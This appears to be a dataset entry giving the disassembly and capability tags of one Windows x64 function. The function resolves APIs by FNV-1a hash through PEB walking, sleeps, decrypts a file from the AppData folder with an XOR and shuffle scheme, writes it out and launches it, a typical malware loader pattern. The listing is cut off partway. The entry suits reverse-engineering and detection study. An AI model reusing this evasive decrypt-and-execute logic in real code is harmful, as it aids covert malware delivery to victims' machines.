Function at 0x140055d80
Capabilities:
Access peb ldr_data
Encode data using xor
Get common file path
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x168]
sub rsp, 0x268
mov rax, qword [0x14008a040]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov r15, r9
mov qword [rsp + 0x68], r9
mov r13, r8
mov qword [rsp + 0x58], r8
mov r12, rdx
mov rbx, rcx
xor r14d, r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140055e52
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x140055e52
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r10 + rsi*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140055e4e
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140055e30
cmp edi, 0x53b2070f
je 0x140055e57
test esi, esi
jne 0x140055e10
mov rax, qword [rax]
jmp 0x140055de0
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov r9d, dword [rcx + rax*4]
add r9, r8
movsd xmm0, qword [str.G_S_T_n_b]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [str.XQR_]
mov dword [rsp + 0x50], eax
cmp byte [0x14007f22b], r14b
je 0x140055fce
mov edi, r14d
cmp dword [0x14008a090], 2
jl 0x140055f92
movdqa xmm4, xmmword [0x1400800e0]
movdqa xmm2, xmmword [0x14007f9d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007fa00]
psubd xmm2, xmm0
andps xmm2, xmmword [0x14007fa10]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007fa20]
movd xmm0, dword [str.G_S_T_n_b]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmmword [0x14007f9e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007fa00]
psubd xmm2, xmm0
andps xmm2, xmmword [0x14007fa10]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007fa20]
movd xmm0, dword [rsp + 0x4c]
xorps xmm2, xmm0
movd dword [rsp + 0x4c], xmm2
mov edi, 8
movsxd rax, edi
lea rsi, [rsp + 0x48]
add rsi, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x34
xor byte [rsi], al
inc edi
lea rsi, [rsi + 1]
cmp edi, 0xc
jl 0x140055fa0
lea rcx, [rsp + 0x48]
call r9
mov qword [rbp - 0x70], rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140056650
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rax, [rbp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r14b
jne 0x140056026
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.140072240
nop
mov r8d, 1
lea rdx, [0x14007d298]
lea rcx, [rbp - 0x68]
call fcn.140071e80
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
inc rdi
cmp byte [r12 + rdi], 0
jne 0x140056082
mov r8, rdi
mov rdx, r12
lea rcx, [rsp + 0x70]
call fcn.140071e80
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140056108
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056103
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140056103
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400736d0
movdqa xmm0, xmmword [0x14007f980]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140056160
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056153
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140056153
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400736d0
movdqa xmm0, xmmword [0x14007f980]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x1400561f2
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1400561f2
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400561ee
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400561d0
cmp edi, 0xd8d746fc
je 0x1400561f7
test esi, esi
jne 0x1400561b0
mov rax, qword [rax]
jmp 0x140056180
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov eax, dword [rcx + rax*4]
add rax, r8
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r8, qword [rbp - 0x40]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x1400562b2
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1400562b2
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400562ae
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056290
cmp edi, 0x6216241
je 0x1400562b7
test esi, esi
jne 0x140056270
mov rax, qword [rax]
jmp 0x140056240
mov edx, dword [r11 + 0x1c]
add rdx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov edx, dword [rdx + rax*4]
add rdx, r8
mov rcx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140056362
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x140056362
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005635e
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056340
cmp edi, 0xbdcac9ce
je 0x140056367
test esi, esi
jne 0x140056320
mov rax, qword [rax]
jmp 0x1400562f0
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov eax, dword [rcx + rax*4]
add rax, r8
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov edx, 3
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x20], edx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
call rax
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140056615
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140056452
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x140056452
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005644e
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056430
cmp edi, 0x44ed8118
je 0x140056457
test esi, esi
jne 0x140056410
mov rax, qword [rax]
jmp 0x1400563e0
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov eax, dword [rcx + rax*4]
add rax, r8
xor edx, edx
mov rcx, r14
call rax
mov ecx, eax
mov qword [r13], rcx
call fcn.140054bc0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r8, qword [rcx + 0x30]
movsxd rdx, dword [r8 + 0x3c]
mov r11d, dword [rdx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140056512
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x140056512
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rax, [r8 + rsi*4]
mov edx, dword [rax + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005650e
nop dword [rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400564f0
cmp edi, 0x54fcc943
je 0x140056517
test esi, esi
jne 0x1400564d0
mov rcx, qword [rcx]
jmp 0x1400564a0
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [r13]
mov rdx, rbx
mov rcx, r14
call rax
test eax, eax
jne 0x140056675
mov rdx, qword [r13]
mov rcx, rbx
call fcn.140054d70
mov rcx, rbx
call fcn.140054ca0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x1400565f2
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1400565f2
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400565ee
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400565d0
cmp edi, 0xfaba0065
je 0x1400565f7
test esi, esi
jne 0x1400565b0
mov rax, qword [rax]
jmp 0x140056580
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
mov rcx, r14
call rdx
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140056650
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005664b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056f4c
call fcn.1400736d0
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1400735e0
add rsp, 0x268
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140056702
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x140056702
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400566fe
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400566e0
cmp edi, 0xfaba0065
je 0x140056707
test esi, esi
jne 0x1400566c0
mov rax, qword [rax]
jmp 0x140056690
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
mov rcx, r14
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r11d, dword [rcx + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x1400567b2
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1400567b2
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rcx, [r8 + rsi*4]
mov edx, dword [rcx + r10]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400567ae
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056790
cmp edi, 0x82417177
je 0x1400567b7
test esi, esi
jne 0x140056770
mov rax, qword [rax]
jmp 0x140056740
mov edx, dword [r11 + 0x1c]
add rdx, r8
mov eax, dword [r11 + 0x24]
add rax, r8
movzx eax, word [rax + rsi*2]
mov edx, dword [rdx + rax*4]
add rdx, r8
mov rcx, r12
call rdx
lea rdx, [rbp + 0x10]
mov rcx, r15
call fcn.140073180
mov byte [rbp + 0x30], 0
lea rdi, [rbp - 0x18]
mov rsi, rbx
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov byte [rbp + 8], 0
lea rdx, [rbp - 0x18]
movzx eax, byte [rbp + 0x10]
cmp al, byte [rbp - 0x18]
jne 0x140056830
lea rcx, [rbp + 0x10]
lea rdi, [rbp - 0x18]
sub rcx, rdi
nop
test al, al
jne 0x140056818
cmp byte [rdx], al
je 0x140056853
movzx eax, byte [rdx + rcx]
test al, al
je 0x140056830
cmp byte [rdx], 0
je 0x140056830
inc rdx
movzx eax, byte [rdx + rcx]
cmp al, byte [rdx]
je 0x140056810
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140056853
mov rdx, qword [r13]
mov rcx, rbx
call fcn.140054d70
mov rcx, rbx
call fcn.140054ca0
jmp 0x140056615
lea rsi, [rbx + 0x20]
lea rdi, [rbp - 0x48]
mov ecx, 8
rep movsb byte [rdi], byte [rsi]
mov r14, qword [r13]
lea rcx, [r14 - 0x28]
movabs rax, 0xe38e38e38e38e38f
mul rcx
mov rbx, rdx
shr rbx, 3
mov qword [rbp - 0x48], rbx
lea r13, [rbx*8]
sub r14, r13
sub r14, 0x28
mov rcx, r13
call fcn.140054bc0
mov r12, rax
mov rcx, r14
call fcn.140054bc0
mov r15, rax
test r12, r12
je 0x140056ed9
test rax, rax
je 0x140056ec9
mov rax, qword [rsp + 0x40]
lea rsi, [rax + 0x28]
mov rdi, r12
mov rcx, r13
rep movsb byte [rdi], byte [rsi]
add rax, 0x28
lea rsi, [rax + rbx*8]
mov rdi, r15
mov rcx, r14
rep movsb byte [rdi], byte [rsi]
mov rcx, r14
call fcn.140054bc0
mov rbx, rax
test rax, rax
jne 0x140056931
mov rdx, r13
mov rcx, r12
call fcn.140054d70
mov rdx, r14
mov rcx, r15
call fcn.140054d70
mov rcx, r12
call fcn.140054ca0
mov rcx, r15
call fcn.140054ca0
mov rdx, qword [rsp + 0x58]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x40]
call fcn.140054d70
mov rcx, qword [rsp + 0x40]
call fcn.140054ca0
jmp 0x140056615
mov r9, qword [rsp + 0x68]
mov rax, r9
xor ecx, ecx
test r9, r9
je 0x140056950
cmp byte [r9], cl
je 0x140056950
inc ecx
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x140056945
movsxd rsi, ecx
xor edi, edi
test r14, r14
je 0x140056998
mov r8d, 2
sub r8, r15
nop dword [rax]
nop word [rax + rax]
lea rcx, [rdi + r15]
lea rax, [r8 + rcx]
xor edx, edx
div rsi
movzx ecx, byte [rcx]
not cl
xor cl, byte [rdx + r9]
xor cl, dil
mov rax, qword [r12 + rdi*8]
mov byte [rbx + rax], cl
inc rdi
cmp rdi, r14
jb 0x140056970
mov eax, 3
nop dword [rax]
mov rdi, r14
test r14, r14
je 0x1400569e0
nop dword [rax + rax]
dec rdi
xor edx, edx
mov rax, rdi
div rsi
movsx rax, byte [rdx + r9]
add rax, rdi
xor edx, edx
div r14
movzx ecx, byte [rbx + rdi]
movzx eax, byte [rdx + rbx]
mov byte [rbx + rdi], al
mov byte [rdx + rbx], cl
test rdi, rdi
jne 0x1400569b0
mov rax, qword [rsp + 0x60]
sub rax, 1
mov qword [rsp + 0x60], rax
jne 0x1400569a0
xor ecx, ecx
test r14, r14
je 0x140056a18
nop dword [rax]
nop word [rax + rax]
xor edx, edx
mov rax, rcx
div rsi
movzx eax, byte [rdx + r9]
xor byte [rbx + rcx], al
inc rcx
cmp rcx, r14
jb 0x140056a00
mov r13, qword [rbp - 0x48]
mov rdi, qword [rsp + 0x40]
lea rdi, [rdi + r13*8]
add rdi, 0x28
mov rsi, rbx
mov rcx, r14
rep movsb byte [rdi], byte [rsi]
lea rdx, [r13*8]
mov rcx, r12
call fcn.140054d70
mov rdx, r14
mov rcx, r15
call fcn.140054d70
mov rdx, r14
mov rcx, rbx
call fcn.140054d70
mov rcx, r12
call fcn.140054ca0
mov rcx, r15
call fcn.140054ca0
mov rcx, rbx
call fcn.140054ca0
mov r12, qword [rsp + 0x40]
lea r15, [r13 + 5]
lea r15, [r12 + r15*8]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140056b02
mov esi, dword [r10 + 0x18]
test esi, esi
je 0x140056b02
mov r9d, dword [r10 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rdx, [r8 + rsi*4]
mov edx, dword [rdx + r9]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140056afe
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056ae0
cmp edi, 0xbdcac9ce
je 0x140056b07
test esi, esi
jne 0x140056ac0
mov rax, qword [rax]
jmp 0x140056a90
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + rsi*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140056615
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140056be2
mov esi, dword [r10 + 0x18]
test esi, esi
je 0x140056be2
mov r9d, dword [r10 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rdx, [r8 + rsi*4]
mov edx, dword [rdx + r9]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140056bde
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056bc0
cmp edi, 0x7f07c44a
je 0x140056be7
test esi, esi
jne 0x140056ba0
mov rax, qword [rax]
jmp 0x140056b70
mov edi, dword [r10 + 0x1c]
add rdi, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + rsi*2]
mov eax, dword [rdi + rcx*4]
add rax, r8
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rbx
call rax
test eax, eax
je 0x140056e03
mov eax, dword [rbp - 0x20]
cmp rax, r14
jne 0x140056e03
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140056cb2
mov esi, dword [r10 + 0x18]
test esi, esi
je 0x140056cb2
mov r9d, dword [r10 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rdx, [r8 + rsi*4]
mov edx, dword [rdx + r9]
add rdx, r8
mov edi, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140056cae
nop dword [rax]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140056c90
cmp edi, 0xfaba0065
je 0x140056cb7
test esi, esi
jne 0x140056c70
mov rax, qword [rax]
jmp 0x140056c40
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + rsi*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
mov rcx, rbx
call rax
mov r9, qword [rbp - 0x70]
movsxd rax, dword [r9 + 0x3c]
mov esi, dword [rax + r9 + 0x88]
mov edi, r13d
mov r8d, dword [rsi + r9 + 0x20]
nop dword [rax]
mov eax, edi
lea rcx, [r9 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r9
mov ecx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140056d2e
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140056d10
cmp ecx, 0xb0ff5bf
je 0x140056d32
inc edi
jmp 0x140056cf0
mov edx, dword [rsi + r9 + 0x1c]
add rdx, r9
mov ecx, dword [rsi + r9 + 0x24]
add rcx, r9
mov eax, edi
movzx ecx, word [rcx + rax*2]
mov edi, dword [rdx + rcx*4]
add rdi, r9
lea r8, [rbp - 0x40]
mov eax, dword [0x14007eba4]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14007eba8]
cmp qword [rbp - 0x28], 0xf
jbe 0x140056d6d
mov r8, qword [rbp - 0x40]
mov byte [rbp - 0x48], 0x6f
xor byte [rbp - 0x47], 0x35
xor byte [rbp - 0x46], 0x36
xor byte [rbp - 0x45], 0x37
xor al, 0x38
mov byte [rbp - 0x44], al
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, [rbp - 0x48]
xor ecx, ecx
call rdi
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp - 0x40]
call fcn.140055310
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140056652
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056df9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056f4c
call fcn.1400736d0
jmp 0x140056652
mov rdx, qword [rsp + 0x58]
mov rdx, qword [rdx]
mov rcx, r12
call fcn.140054d70
mov rcx, r12
call fcn.140054ca0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140056ea2
mov esi, dword [r10 + 0x18]
test esi, esi
je 0x140056ea2
mov r9d, dword [r10 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec esi
lea rdx, [r9 + rsi*4]
mov ecx, dword [rdx + r8]
add rcx, r8
mov edi, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140056e9e
nop dword [rax]
movsx edx, dl
xor edx, edi
imul edi, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140056e80
cmp edi, 0xfaba0065
je 0x140056ea7
test esi, esi
jne 0x140056e60
mov rax, qword [rax]
jmp 0x140056e30
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + rsi*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
mov rcx, rbx
call rax
jmp 0x140056615
mov rdx, r13
mov rcx, r12
call fcn.140054d70
mov rcx, r12
jmp 0x140056eec
test r15, r15
je 0x140056ef1
mov rdx, r14
mov rcx, r15
call fcn.140054d70
mov rcx, r15
call fcn.140054ca0
mov rdx, qword [rsp + 0x58]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x40]
